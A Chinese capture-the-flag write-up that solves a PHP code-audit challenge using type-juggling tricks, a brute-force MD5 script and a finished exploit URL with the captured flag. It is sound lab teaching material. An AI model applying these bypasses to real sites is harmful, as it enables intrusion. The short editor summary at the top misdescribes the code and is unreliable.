[攻防世界][江苏工匠杯]easyphp

攻防,世界,江苏,工匠,easyphp · 浏览次数 : 64

小编点评

**代码审计分析:** 代码首先检测用户传入的三个参数:`a`, `b` 和 `c`。 * `a` 是一个数字字符串,但代码首先将其转换为 `1e9`(1000000000)。这可能是一个绕过 `is_numeric()` 检查的技巧。 * `b` 的md5值的后六位必须是 `8b184b`,可以通过撞库搜索得到。 * `c` 是一个 JSON 字符串,需要进行特殊处理。 如果所有条件满足,代码将包含恶意代码 `Hgfks.php`,并打印 `You're right`。 **绕过措施:** * 将 `a` 转换为 `1e9` 以绕过 `is_numeric()` 检查。 * 利用 `array_search()` 在比较 `m` 和 `n` 之间的元素时,使用弱类型比较。 * 使用 `json_encode()` 将 JSON 字符串转换为数组。 **漏洞:** * 代码绕过 `is_numeric()` 检查、利用 `array_search()` 和 `json_encode()` 等技巧。 * 代码没有对传入的字符串进行合法性检查,这可能导致攻击者注入代码。 **其他提示:** * 不要使用 `eval()` 或 `include` 运算符执行用户传入的代码。 * 对用户输入进行合法性验证。 * 使用安全连接(SSL)连接。

正文

打开靶机url,上来就代码审计
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?> Emmm...
easyphp 不easy

从代码上看 必须 key1key2都为true 或者都为 1 才能回显 flag

  1. 先看key1 = 1 的条件
1. 首先需要字符串a转为整型后 > 6000000,且a字符串的长度要小于等于3
通过科学计数法绕过 a = 1e9     (1e9 = 1000000000)

2. 要求b 的md5值后六位为 8b184b
只能通过撞库得到,编写撞库脚本
<?php
for ($i = 1; $i < 100000; $i++) {
     if('8b184b' === substr(md5($i),-6,6)){
         echo($i);
     }
}
?>
得到b的值为53724,这里只能是猜测b和a一样是数字字符串,否则很难撞出来,只能说是解题思路吧,撞不出来就有点无解了,或者说有md5字典库去搜索吧

这里就知道 a=1e9, b = 53724
2. 再看key2=1的条件

1.c 必须是一个json字符串,并可以json_decode转化为array
2. 这个json里有一个key是m,且m 传入is_numeric返回false,且m对应的value大于2022
从这里可以看出,必然是要考察绕过is_numeric的检查

知识点:
基础知识:
数字字符串: 如: '123456', '1e123', '123.4'
数字字符串在与数字或者前导数字字符串比较时会转化为数字进行比较

前导数字字符串   如:  '1234abcd', '1e123abcd', '123.4abcd'
前导数字字符串在与数字进行比较,且是弱类型比较时才会转化为数字进行比较,两个前导字符串比较不会转化为数字

其他字符串 如: 'abcd' 'abcd1234'
对于其他字符串,在与数字进行弱类型比较时会转化为数字,但只能转化为0

is_numberic()函数绕过
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。

2.1 那么绕过is_number 只要是一个前导字符串就可以了,比如:m => '2023a'   (== > < 都是弱类型比较)

3. json里有一个key是 n,n是一个数组,长度为2,n的第一个元素也是数组
3.1 这里又有一个奇怪的逻辑:数组中有一个字符串是 "DGGJ", 同时下一行如果数组中有值是'DGGJ',就返回die,不给flag了
说明这里在考察字符串比较绕过
考点:此处利用array_search函数在比较两者是否相等时是使用的弱类型比较
其他字符串在与数字比较的时候会转为0,那么传入是0 的话 0==0 就会返回true
所以 n => [array(1,2), 0]

那么到这里 m,n 对应的值就都知道了,构造代码
<?php
$a = array('m' => '2023a', 'n' => array(array(1,2), 0));
var_dump($a);
echo json_encode($a);
?>

执行得到:
array(2) {
  ["m"]=>
  string(5) "2023a"
  ["n"]=>
  array(2) {
    [0]=>
    array(2) {
      [0]=>
      int(1)
      [1]=>
      int(2)
    }
    [1]=>
    int(0)
  }
}

{"m":"2023a","n":[[1,2],0]}
构造url
http://61.147.171.105:56947?a=1e9&b=53724&c={"m":"2023a","n":[[1,2],0]}

boom 得到flag cyberpeace{ce51bcd2ab60cd08a6c842b94aae1e77}

与[攻防世界][江苏工匠杯]easyphp相似的内容:

[攻防世界][江苏工匠杯]easyphp

打开靶机url,上来就代码审计 6000000 && strlen

[攻防世界][江苏工匠杯]unseping

打开靶机对应的url 上来就是代码审计 method =

[攻防世界][江苏工匠杯]file_include

打开靶机url,上来就是代码审计

[攻防世界][Web]PHP2

打开靶机对应的url 就一行字 Can you anthenticate to this website? 第一感觉就需要做目录文件扫描 使用御剑和dirsearch进行扫描,发现一个文件 index.phps 知识点: phps 是php标准中用来表示可以查看的php源文件的约定,不会被服务器执行

[攻防世界][Web]ics-06

打开靶机对应的url,展开是一个网站的样子,其实啥也么有 所有tab都点一遍,发现只有报表中心有内容,url为 http://61.147.171.105:49797/index.php?id=1 猜测这里是题眼,使用burpsuite的intruder直接爆id的值(0-10000) 最后发现id

[攻防世界][Reverse]666

下载附件,是一个可执行的ELF文件666,拖进IDA中查看 main 函数反汇编得到 int __cdecl main(int argc, const char **argv, const char **envp) { char s[240]; // [rsp+0h] [rbp-1E0h] BYRE

[攻防世界][Reverse]xxxorrr

将目标文件拖入IDA 反汇编main函数 __int64 __fastcall main(int a1, char **a2, char **a3) { int i; // [rsp+Ch] [rbp-34h] char s[40]; // [rsp+10h] [rbp-30h] BYREF uns

【Android 逆向】【攻防世界】基础android

1. 下载并安装apk,提示要输入密码 2. apk拖入到jadx中看一下 this.login.setOnClickListener(new View.OnClickListener() { // from class: com.example.test.ctf02.MainActivity.1

【Android 逆向】【攻防世界】android2.0

这是一道纯算法还原题 1. apk安装到手机,提示输入flag,看来输入就是flag 2. jadx 打开apk查看 this.button.setOnClickListener(new View.OnClickListener() { // from class: com.example.test

【Android 逆向】【攻防世界】APK逆向

1. apk安装到手机,提示输入flag 2. jadx打开apk 定位到checkSN方法 public boolean checkSN(String userName, String sn) { if (userName != null) { try { if (userName.length(